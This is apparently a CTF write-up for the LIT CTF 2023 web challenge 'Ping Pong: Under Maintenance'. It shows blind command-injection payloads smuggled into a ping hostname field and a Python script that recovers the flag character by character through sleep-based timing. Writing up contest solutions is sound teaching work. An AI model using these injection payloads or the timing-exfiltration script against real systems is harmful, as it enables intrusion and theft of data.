Post

LIT CTF 2023 - Ping Pong: Under Maintenance

Description

Category: Web

The website seems to be under maintenance.

ping-pong-under-maintenance/ping-pong-under-maintenance.zip

Solution

1. Sleep injection

It’s a classic command injection challenge but we don’t have access to command outputs and outbound connections are disabled.

In addition, flag.txt was not at the root of the server folder (apparently it was only for me, other people could find it at the root).

I discovered this by sending the following payload:

1
-h || if [ -f "flag.txt" ]; then sleep 5; fi

which becomes on the server:

1
ping -c 3 -h || if [ -f "flag.txt" ]; then sleep 5; fi

The server didn’t sleep for 5 seconds, and that’s how I found out that flag.txt wasn’t at the root.

I used the sleep technique to try to find where flag.txt was located but I couldn’t find it.

2. Data exfiltration

Even though we don’t know where the file is, we can still find it recursively with grep.

grep allows us to find a string inside files recursively. We know the flag starts with LITCTF{ so the command to check if the flag exists in the entier folder is:

1
2
3
4
# -r: recursive search
# -h: don't print the file path and the filename
$ grep -r -h 'LITCTF{'
LITCTF{redacted}

Now, we combine grep with sleep to ‘guess’ each character of the flag:

1
2
# if the flag starts with 'LITCTF{a' then the condition is true and it will sleep
$ if [ $(grep -r -h 'LITCTF{a') ]; then sleep 5; fi

I wrote a Python script to automate it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import time
import requests

charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

URL = "http://34.130.180.82:59378/"
flag = "LITCTF{"

while True:
    for c in charset:
        payload = f"-h || if [ $(grep -r -h '{flag+c}') ]; then sleep 1.5; fi"
        
        t = time.time()
        response = requests.post(URL, data={'hostname': payload})
        
        if time.time() - t > 1:
            flag += c
            print(flag)
            break
    
    if flag.endswith('}'):
        print(f"Flag recovered: {flag}")
        break

After a while we exfiltrate the entire flag:

1
2
3
4
5
6
7
8
9
10
11
12
LITCTF{c
LITCTF{c4
LITCTF{c4r
LITCTF{c4re
LITCTF{c4ref
LITCTF{c4refu
LITCTF{c4refu1
LITCTF{c4refu1_
LITCTF{c4refu1_f
LITCTF{c4refu1_fr
LITCTF{c4refu1_fr}
Flag recovered: LITCTF{c4refu1_fr}

LITCTF{c4refu1_fr}

This post is licensed under CC BY 4.0 by the author.